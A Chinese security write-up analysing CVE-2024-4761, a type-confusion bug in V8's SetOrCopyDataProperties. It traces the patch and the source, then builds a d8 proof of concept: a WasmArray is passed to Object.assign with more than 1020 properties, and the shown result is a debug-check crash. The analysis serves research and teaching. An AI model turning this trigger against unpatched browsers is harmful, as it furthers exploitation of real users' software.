城堡的小门:v8类型混淆漏洞CVE-2024-4761分析

admin 2025年6月7日14:11:57评论0 views字数 16387阅读54分37秒阅读模式
城堡的小门:v8类型混淆漏洞CVE-2024-4761分析
城堡的小门:v8类型混淆漏洞CVE-2024-4761分析
城堡的小门:v8类型混淆漏洞CVE-2024-4761分析

城堡的小门:

v8类型混淆漏洞CVE-2024-4761分析

城堡的小门:v8类型混淆漏洞CVE-2024-4761分析

01

城堡的小门:v8类型混淆漏洞CVE-2024-4761分析

前言

在讲述漏洞之前, 让我们设想这样一个场景: 你有一座设有严密防御的城堡,城墙高大坚固,把敌人挡在外面。你的城堡有唯一的入口,那就是一个重门深锁、有严格守卫检查的大门。然后,为了增加便利性,你决定在城堡的另一侧增加一个小门,方便城堡内的人快速出入。然而,你在增加这个新功能后,忘记了对这个小门进行同样严格的防御和检查。这就相当于在你的城堡的防线上留下了一个大漏洞。敌人可以绕过主门的严格检查,通过这个没有守卫的小门轻易进入城堡。

本次要讲述的漏洞CVE-2024-4761就是这个城堡的小门: 随着v8中wasm模块的蓬勃发展, 添加了许多新类型的对象, 这些新类型对于旧有的代码提出了源源不断的挑战, 导致旧有代码遗漏了某些检查。

本文着重于漏洞分析, 尝试从patch开始一步步构建出POC。

根据官方修复patch: https://chromium-review.googlesource.com/c/v8/v8/+/5527397, 我们可以得知: 该漏洞在f320600cd1f48ba6bb57c0395823fe0c5e5ec52e这个commit中被修复, parent commit为66c0bd3237b1577e6291de56003f8fddc6b65b16, 因此后续的源码分析都是基于parent commit进行的。

城堡的小门:v8类型混淆漏洞CVE-2024-4761分析

02

城堡的小门:v8类型混淆漏洞CVE-2024-4761分析

背景知识

在进入漏洞分析之前, 我们首先需要了解一下相关函数

2.1

如何触发SetOrCopyDataProperties()

漏洞被认为是一个类型混淆, 位于SetOrCopyDataProperties()方法中, 因此首先研究如何触发该函数

  // 该函数用于读取source拥有的所有可枚举属性, 并且把他们添加到target中  // 使用Set还是CreateDataProperty依赖于use_set参数.  // 属于excluded_properties中的值不会被复制  V8_WARN_UNUSED_RESULT static Maybe<bool> SetOrCopyDataProperties(      Isolate* isolate, Handle<JSReceiver> target, Handle<Object> source,      PropertiesEnumerationMode mode,      const base::ScopedVector<Handle<Object>>* excluded_properties = nullptr,      bool use_set = true);

这个函数没有直接暴露给js使用, 而是先被封装为Runtime方法

RUNTIME_FUNCTION(Runtime_SetDataProperties) {  HandleScope scope(isolate);  DCHECK_EQ(2, args.length());  Handle<JSReceiver> target = args.at<JSReceiver>(0);  Handle<Object> source = args.at(1);  // 2. If source is undefined or null, let keys be an empty List.  if (IsUndefined(*source, isolate) || IsNull(*source, isolate)) {    return ReadOnlyRoots(isolate).undefined_value();  }  MAYBE_RETURN(JSReceiver::SetOrCopyDataProperties(                   isolate, target, source,                   PropertiesEnumerationMode::kEnumerationOrder),               ReadOnlyRoots(isolate).exception());  return ReadOnlyRoots(isolate).undefined_value();}RUNTIME_FUNCTION(Runtime_CopyDataProperties) {  HandleScope scope(isolate);  DCHECK_EQ(2, args.length());  Handle<JSObject> target = args.at<JSObject>(0);  Handle<Object> source = args.at(1);  // 2. If source is undefined or null, let keys be an empty List.  if (IsUndefined(*source, isolate) || IsNull(*source, isolate)) {    return ReadOnlyRoots(isolate).undefined_value();  }  MAYBE_RETURN(      JSReceiver::SetOrCopyDataProperties(          isolate, target, source,          PropertiesEnumerationMode::kPropertyAdditionOrder, nullptr, false),      ReadOnlyRoots(isolate).exception());  return ReadOnlyRoots(isolate).undefined_value();

Runtime方法用于涉及到对象属性复制的slow path, 比如TF定义的builtin SetDataProperties就会在GotoIfForceSlowPath()或者fast path无法进行时时跳转到Runtime::kSetDataProperties, 进入slow path的条件

  1. !(IsEmptyFixedArray(source_elements) && !IsEmptySlowElementDictionary(source_elements): source的elements不是空数组并且也不是空的dictionary, 那么就进入runtime

  2. IsJSReceiverInstanceType(source_instance_type): 如果是JSReceiver的衍生对象, 但不是JSObject, 那么就进入slow path处理

  3. IsDeprecatedMap(target_map): target的map被弃用, 此时写入target会触发target map更新, fast path无法处理

  4. EnsureOnlyHasSimpleProperties(source_map, type, bailout)

  5. IsJSReceiverInstanceType(source_instance_type)

TF_BUILTIN(SetDataProperties, SetOrCopyDataPropertiesAssembler) {  auto target = Parameter<JSReceiver>(Descriptor::kTarget);  auto source = Parameter<Object>(Descriptor::kSource);  auto context = Parameter<Context>(Descriptor::kContext);  Label if_runtime(this, Label::kDeferred);  // 强制进入slow path  GotoIfForceSlowPath(&if_runtime);     // 尝试fast path  SetOrCopyDataProperties(context, target, source, &if_runtime, base::nullopt,                          base::nullopt, true);  Return(UndefinedConstant());  BIND(&if_runtime);  TailCallRuntime(Runtime::kSetDataProperties, context, target, source);}

一个比较简单的触发SetOrCopyDataProperties的方式就是通过Object.assign()

  • Object.assign()调用Builtin::kSetDataProperties

  • Builtin::kSetDataProperties尝试fast path失败后进入Runtime::kSetDataProperties

  • Runtime::kSetDataProperties调用到CPP方法SetOrCopyDataProperties()

// ES #sec-object.assignTF_BUILTIN(ObjectAssign, ObjectBuiltinsAssembler) {  TNode<IntPtrT> argc = ChangeInt32ToIntPtr(      UncheckedParameter<Int32T>(Descriptor::kJSActualArgumentsCount));  CodeStubArguments args(this, argc);  auto context = Parameter<Context>(Descriptor::kContext);  TNode<Object> target = args.GetOptionalArgumentValue(0);  // 被写入的对象  TNode<JSReceiver> to = ToObject_Inline(context, target);  Label done(this);  // 只有一个参数, 直接返回  GotoIf(UintPtrLessThanOrEqual(args.GetLengthWithoutReceiver(),                                IntPtrConstant(1)),         &done);  // 遍历assign()后续所有的参数, 对于每一个参数都调用Builtin::kSetDataProperties  args.ForEach(      [=](TNode<Object> next_source) {        CallBuiltin(Builtin::kSetDataProperties, context, to, next_source);      },      IntPtrConstant(1));  Goto(&done);  // 5. Return to.  BIND(&done);  args.PopAndReturn(to);}

触发slow path进入SetOrCopyDataProperties()的例子如下

// job(from)->elements非空, 进入`SetOrCopyDataProperties()`let from = {};from[0]=0;let target = {};Object.assign(target, from);%SystemBreak();

2.2

SetOrCopyDataProperties()的作用

下面分析一下SetOrCopyDataProperties()的具体行为

// staticMaybe<bool> JSReceiver::SetOrCopyDataProperties(    Isolate* isolate, Handle<JSReceiver> target, Handle<Object> source,    PropertiesEnumerationMode mode,    const base::ScopedVector<Handle<Object>>* excluded_properties,    bool use_set) {  // 首先尝试cpp部分的fast赋值  Maybe<bool> fast_assign =      FastAssign(isolate, target, source, mode, excluded_properties, use_set);  if (fast_assign.IsNothing()) return Nothing<bool>();  if (fast_assign.FromJust()) return Just(true);  // 获取要遍历属性的对象  Handle<JSReceiver> from = Object::ToObject(isolate, source).ToHandleChecked();  // 获取from中所有属性的key(相当于elements和properties一起处理了)  Handle<FixedArray> keys;  ASSIGN_RETURN_ON_EXCEPTION_VALUE(      isolate, keys,      KeyAccumulator::GetKeys(isolate, from, KeyCollectionMode::kOwnOnly,                              ALL_PROPERTIES, GetKeysConversion::kKeepNumbers),      Nothing<bool>());  // 如果from没有fast properties, 但是target有fast properties, 并且target不是global proxy对象  if (!from->HasFastProperties() && target->HasFastProperties() &&      !IsJSGlobalProxy(*target)) {    int source_length;    // source中属性的个数    if (IsJSGlobalObject(*from)) {    // from是全局对象      source_length = JSGlobalObject::cast(*from)                          ->global_dictionary(kAcquireLoad)                          ->NumberOfEnumerableProperties();    } else if constexpr (V8_ENABLE_SWISS_NAME_DICTIONARY_BOOL) {      source_length =          from->property_dictionary_swiss()->NumberOfEnumerableProperties();    } else {    // from中是字典属性, 计算属性个数      source_length =          from->property_dictionary()->NumberOfEnumerableProperties();    }    // 如果source中属性个数超过了kMaxNumberOfDescriptors的限制    // 那么就把target中的fast properties都转换为dictionary properties    // 期望可以容纳source_length个元素, 因为后续也要把这部分添加进来    if (source_length > kMaxNumberOfDescriptors) {      JSObject::NormalizeProperties(isolate, Handle<JSObject>::cast(target),                                    CLEAR_INOBJECT_PROPERTIES, source_length,                                    "Copying data properties");    }  }  // 遍历所有的属性  for (int i = 0; i < keys->length(); ++i) {    // 获取第i个属性的key对象 (属性的key也是一个js对象)    Handle<Object> next_key(keys->get(i), isolate);    if (excluded_properties != nullptr &&        HasExcludedProperty(excluded_properties, next_key)) {      continue;    }    // 4a i. Let desc be ? from.[[GetOwnProperty]](nextKey).    // 获取该key的属性描述符    PropertyDescriptor desc;    Maybe<bool> found =        JSReceiver::GetOwnPropertyDescriptor(isolate, from, next_key, &desc);    if (found.IsNothing()) return Nothing<bool>();    // 4a ii. If desc is not undefined and desc.[[Enumerable]] is true, then    // 改属性为可枚举属性    if (found.FromJust() && desc.enumerable()) {      // 获取该属性的value对象      Handle<Object> prop_value;      ASSIGN_RETURN_ON_EXCEPTION_VALUE(          isolate, prop_value,          Runtime::GetObjectProperty(isolate, from, next_key), Nothing<bool>());      // 把属性写入target中      if (use_set) {        // 4c ii 2. Let status be ? Set(to, nextKey, propValue, true).        Handle<Object> status;        ASSIGN_RETURN_ON_EXCEPTION_VALUE(            isolate, status,            Runtime::SetObjectProperty(isolate, target, next_key, prop_value,                                       StoreOrigin::kMaybeKeyed,                                       Just(ShouldThrow::kThrowOnError)),            Nothing<bool>());      } else {        // 4a ii 2. Perform ! CreateDataProperty(target, nextKey, propValue).        PropertyKey key(isolate, next_key);        CHECK(JSReceiver::CreateDataProperty(isolate, target, key, prop_value,                                             Just(kThrowOnError))                  .FromJust());      }    }  }  return Just(true);}

总结一下操作逻辑

  • 首先调用FastAssign()尝试fast path处理, 失败后进入后续部分

  • 调用KeyAccumulator::GetKeys(from)获取from中的所有属性, 这里就elements和properties一起处理了

  • 清理fast properties: 如果from没有fast properties, 但是target有fast properties, 那么就会调用NormalizeProperties(target)把target中的fast properties转换为字典实现

  • 后续遍历from中所有的属性, 写入target中

FastAssign()的退出条件如下:

V8_WARN_UNUSED_RESULT Maybe<bool> FastAssign(    Isolate* isolate, Handle<JSReceiver> target, Handle<Object> source,    PropertiesEnumerationMode mode,    const base::ScopedVector<Handle<Object>>* excluded_properties,    bool use_set) {  // 非空字符串被认为是non-JSReceiver, 需要在Object.assign()中显示处理  if (!IsJSReceiver(*source)) {    return Just(!IsString(*source) || String::cast(*source)->length() == 0);  }  ...  Handle<Map> map(JSReceiver::cast(*source)->map(), isolate);  // fast path只能处理source为JSObject的情况  if (!IsJSObjectMap(*map)) return Just(false);  // fast path只能处理source为simple properties的情况(非dictionary properties)  if (!map->OnlyHasSimpleProperties()) return Just(false);  // 只能处理source的elements为empty fixed array的情况  Handle<JSObject> from = Handle<JSObject>::cast(source);  if (from->elements() != ReadOnlyRoots(isolate).empty_fixed_array()) {    return Just(false);  }  // 至此: 只需要遍历from的properties array  Handle<DescriptorArray> descriptors(map->instance_descriptors(isolate),                                      isolate);    ...  }  UNREACHABLE();}}  // namespace

因此只要from的elements不是fixed empty array的, 那么FastAssign()就会退出。

城堡的小门:v8类型混淆漏洞CVE-2024-4761分析

03

城堡的小门:v8类型混淆漏洞CVE-2024-4761分析

漏洞根因

根据漏洞修复的diff:

diff --git a/src/objects/js-objects.cc b/src/objects/js-objects.ccindex c3f5d31..13b787f 100644--- a/src/objects/js-objects.cc+++ b/src/objects/js-objects.cc@@ -434,9 +434,7 @@       Nothing<bool>());   if (!from->HasFastProperties() && target->HasFastProperties() &&-      !IsJSGlobalProxy(*target)) {-    // JSProxy is always in slow-mode.-    DCHECK(!IsJSProxy(*target));+      IsJSObject(*target) && !IsJSGlobalProxy(*target)) {     // Convert to slow properties if we're guaranteed to overflow the number of     // descriptors.     int source_length;

问题出现在调用NormalizeProperties(target)的逻辑上, 调用JSObject::NormalizeProperties()前额外限制了target必须是JSObject。

在打上这个Patch之前: 调用NormalizeProperties()时会执行Handle::cast(target)把target强制转换为JSObject类型, 但是根据参数声明: Handletarget只能保证target是JSReceiver, 因此Handle::cast(target)这个强制类型转换是不安全的, 所以在调用前进行了一些列的类型检查:!from->HasFastProperties() && target->HasFastProperties() && ...

Maybe<bool> JSReceiver::SetOrCopyDataProperties(    Isolate* isolate,     Handle<JSReceiver> target,     // <===    Handle<Object> source,    PropertiesEnumerationMode mode,    const base::ScopedVector<Handle<Object>>* excluded_properties,    bool use_set) {  ...  // 如果from没有fast properties, 但是target有fast properties, 并且target不是global proxy对象  if (!from->HasFastProperties() && target->HasFastProperties() &&      !IsJSGlobalProxy(*target)) {    int source_length;    // source中属性的个数    ...    // 如果source中属性个数超过了kMaxNumberOfDescriptors的限制    // 那么就把target中的fast properties都转换为dictionary properties    // 期望可以容纳source_length个元素, 因为后续也要把这部分添加进来    if (source_length > kMaxNumberOfDescriptors) {      JSObject::NormalizeProperties(isolate, Handle<JSObject>::cast(target),                                    CLEAR_INOBJECT_PROPERTIES, source_length,                                    "Copying data properties");    }  }  ...}

JSReceiverJSObject的区别如下, JSReceiverJSObject少了一个elements字段

extern class JSReceiver extends HeapObject {  properties_or_hash: SwissNameDictionary|FixedArrayBase|PropertyArray|Smi;}extern class JSObject extends JSReceiver {  elements: FixedArrayBase;

因此: targetJSReceive的子类型, 但又不是JSObject类型时, 就会触发漏洞

根据gen/torque-generated/instance-types.h中的类继承关系, 满足条件的只有JS_PROXY_TYPE, WASM_ARRAY_TYPE, WASM_STRUCT_TYPE三种类型。

    V(FIRST_JS_RECEIVER_TYPE, 290)       V(FIRST_WASM_OBJECT_TYPE, 290)         V(WASM_ARRAY_TYPE, 290) /* https://source.chromium.org/chromium/chromium/src/+/main:v8/src/wasm/wasm-objects.tq?l=252&c=1 */        V(WASM_STRUCT_TYPE, 291) /* https://source.chromium.org/chromium/chromium/src/+/main:v8/src/wasm/wasm-objects.tq?l=249&c=1 */      V(LAST_WASM_OBJECT_TYPE, 291)       V(JS_PROXY_TYPE, 292) /* https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/js-proxy.tq?l=5&c=1 */      V(FIRST_JS_OBJECT_TYPE, 293)         ... // JSObject的子类      V(LAST_JS_OBJECT_TYPE, 2165)     V(LAST_JS_RECEIVER_TYPE, 2165)   V(LAST_HEAP_OBJECT_TYPE, 2165) 

因此: 之前在编写SetOrCopyDataProperties()的代码时只考虑到了JS_PROXY_TYPE的情况, 所以进行了过滤, 但是后面添加WASM_ARRAY_TYPE, WASM_STRUCT_TYPE时没有考虑到SetOrCopyDataProperties(), 由此导致了漏洞。

城堡的小门:v8类型混淆漏洞CVE-2024-4761分析

04

城堡的小门:v8类型混淆漏洞CVE-2024-4761分析

构造POC

4.1

创建WasmArray对象

那么如何构造出一个WasmArray对象? 研究发现v8发现没有直接提供JS API来创建这个对象, 而且由于WASM GC是一个比较新的提案, 因此wat2wasm这个工具目前也不支持array.new这种语法, 因此只能通过wasm-module-builder构造:

const prefix = "../../";d8.file.execute(`${prefix}/test/mjsunit/wasm/wasm-module-builder.js`);let builder = new WasmModuleBuilder();// 添加一个WasmArray类型, 元素类型为I32, 可变let array = builder.addArray(kWasmI32, true);builder.addFunction(    // 添加名字为createArray的wasm函数        'createArray',         makeSig([kWasmI32], [kWasmExternRef])    // 函数签名: [kWasmI32]=>[kWasmExternRef]    ).addBody([    // 生成函数体            kExprLocalGet, 0,    // 栈上push局部变量0, 也就是函数kWasmI32类型的参数            kGCPrefix, kExprArrayNewDefault, array,    // 创建array类型的数组, 元素为i32的默认值            kGCPrefix, kExprExternConvertAny,    // 把wasm的值包装为Extern类型    ]).exportFunc();    // 导出这个函数let instance = builder.instantiate({});    // 构建wasm实例let wasm = instance.exports;    // 获取导入的函数let array42 = wasm.createArray(42);    // 42为wasm array的长度%DebugPrint(array42);

构造出WasmArray对象后就要想办法进入JSObject::NormalizeProperties(isolate, Handle::cast(target)

4.2

进入SetOrCopyDataProperties()

对于Object.assign(...)

let from = {};Object.assign(array42, from);

Object.assign()调用Builtin::kSetDataProperties 处理, 该函数首先会尝试fast path处理: 因此会先进入CSA实现的builtins方法: SetOrCopyDataProperties()

TF_BUILTIN(SetDataProperties, SetOrCopyDataPropertiesAssembler) {  auto target = Parameter<JSReceiver>(Descriptor::kTarget);  auto source = Parameter<Object>(Descriptor::kSource);  auto context = Parameter<Context>(Descriptor::kContext);  Label if_runtime(this, Label::kDeferred);  // 强制进入slow path  GotoIfForceSlowPath(&if_runtime);     // 尝试fast path  SetOrCopyDataProperties(context, target, source, &if_runtime, base::nullopt,                          base::nullopt, true);  Return(UndefinedConstant());  BIND(&if_runtime);  TailCallRuntime(Runtime::kSetDataProperties, context, target, source);}

为了不进入fast path, 分析SetOrCopyDataProperties()源码后发现: 只需要让job(from)->elements非空这样就可以进入if_runtime分支跳转到runtime方法SetOrCopyDataProperties()进行处理. CPP编写的runtime方法SetOrCopyDataProperties()才是真正包含漏洞的地方

// job(from)->elements非空, 进入CPP方法JSReceiver::SetOrCopyDataProperties()处理let from = {};from[0]=0;Object.assign(array42, from);

4.3

触发NormalizeProperties()

进入SetOrCopyDataProperties()的条件如下

  1. 只要from的elements非空, FastAssign()就无法处理, 进入slow path部分

  2. 首先要满足!from->HasFastProperties() && target->HasFastProperties()

    a. target->HasFastProperties()恒成立, WasmArray::propertieskEmptyFixedArray

    b. 想要满足!from->HasFastProperties(), 只需要让from的properties通过字典实现即可

  3. source_length > kMaxNumberOfDescriptors: 需要让from中properties超过kMaxNumberOfDescriptors个, 也就是1020个, 那么就可以成功进入NormalizeProperties(..., target)

Maybe<bool> JSReceiver::SetOrCopyDataProperties(    Isolate* isolate,     Handle<JSReceiver> target,     // <===    Handle<Object> source,    PropertiesEnumerationMode mode,    const base::ScopedVector<Handle<Object>>* excluded_properties,    bool use_set) {  // [1] 只要from的elements非空, FastAssign()就无法处理  Maybe<bool> fast_assign =      FastAssign(isolate, target, source, mode, excluded_properties, use_set);  if (fast_assign.IsNothing()) return Nothing<bool>();  if (fast_assign.FromJust()) return Just(true);  ...  // 如果from没有fast properties, 但是target有fast properties, 并且target不是global proxy对象  if (!from->HasFastProperties() && target->HasFastProperties() &&      !IsJSGlobalProxy(*target)) {    int source_length;    // source中属性的个数    ...    // 如果source中属性个数超过了kMaxNumberOfDescriptors的限制    // 那么就把target中的fast properties都转换为dictionary properties    // 期望可以容纳source_length个元素, 因为后续也要把这部分添加进来    if (source_length > kMaxNumberOfDescriptors) {      JSObject::NormalizeProperties(isolate, Handle<JSObject>::cast(target),                                    CLEAR_INOBJECT_PROPERTIES, source_length,                                    "Copying data properties");    }  }  ...}

因此这部分poc如下

// job(from)->elements非空, 进入CPP方法JSReceiver::SetOrCopyDataProperties()处理let from = {};from[0]=0;// 添加properties, 使得job(from)->properties通过字典实现, 让!from->HasFastProperties()成立// properties个数超过1020, 让source_length > kMaxNumberOfDescriptors成立// 最终触发JSObject::NormalizeProperties(..., Handle<JSObject>::cast(target), ...)for(let i=0; i<1021; i++) {    from['p'+i] = i;}Object.assign(array42, from);

4.4

完整POC

最终下面这样的POC即可触发crash

const prefix = "../../";d8.file.execute(`${prefix}/test/mjsunit/wasm/wasm-module-builder.js`);let builder = new WasmModuleBuilder();let array = builder.addArray(kWasmI32, true);builder.addFunction('createArray', makeSig([kWasmI32], [kWasmExternRef]))    .addBody([        kExprLocalGet, 0,        kGCPrefix, kExprArrayNewDefault, array,        kGCPrefix, kExprExternConvertAny,    ]).exportFunc();let instance = builder.instantiate({});let wasm = instance.exports;let array42 = wasm.createArray(42);%DebugPrint(array42);// job(from)->elements非空, 进入CPP方法JSReceiver::SetOrCopyDataProperties()处理let from = {};from[0]=0;// 添加properties, 使得job(from)->properties通过字典实现, 让!from->HasFastProperties()成立// properties个数超过1020, 让source_length > kMaxNumberOfDescriptors成立// 最终触发JSObject::NormalizeProperties(..., Handle<JSObject>::cast(target), ...)for(let i=0; i<1021; i++) {    from['p'+i] = i;}Object.assign(array42, from);%SystemBreak();

Crash

## Fatal error in ../../src/objects/map-inl.h, line 344# Debug check failed: IsJSObjectMap(*this).##

05

城堡的小门:v8类型混淆漏洞CVE-2024-4761分析

总结

这个漏洞的根因在于v8支持WasmGC之后添加了新的对象类型, 导致与属性访问部分的老代码漏判。

实际上随着wasm模块的发展, 随之而来的漏洞源源不断。这给漏洞攻防提供了重要的启发: 一定关注新代码,因为新的代码往往是最容易被攻击的部分;开发人员在开发过程中也必须格外留意,确保旧有的代码能够安全地处理新的代码。在我们的"城堡"上打开新的一扇"小门"时,绝不能忘记对这扇新开的"小门"进行严格的安全检查。

06

城堡的小门:v8类型混淆漏洞CVE-2024-4761分析

Reference

https://zerodayengineering.com/insights/chrome-viz-v8-wasm.html

https://chromium-review.googlesource.com/c/v8/v8/+/5527397

https://docs.google.com/document/d/e/2PACX-1vSpCvBik81OppzMXbPjb0uRlWTdn4I1kttNSlbHtNMCT3xZJJiyKAsCcUxzNBimlBdXoKxrktlgJjOZ/pub

城堡的小门:v8类型混淆漏洞CVE-2024-4761分析

原文始发于微信公众号(京东安全应急响应中心):城堡的小门:v8类型混淆漏洞CVE-2024-4761分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月7日14:11:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   城堡的小门:v8类型混淆漏洞CVE-2024-4761分析https://cn-sec.com/archives/3782334.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息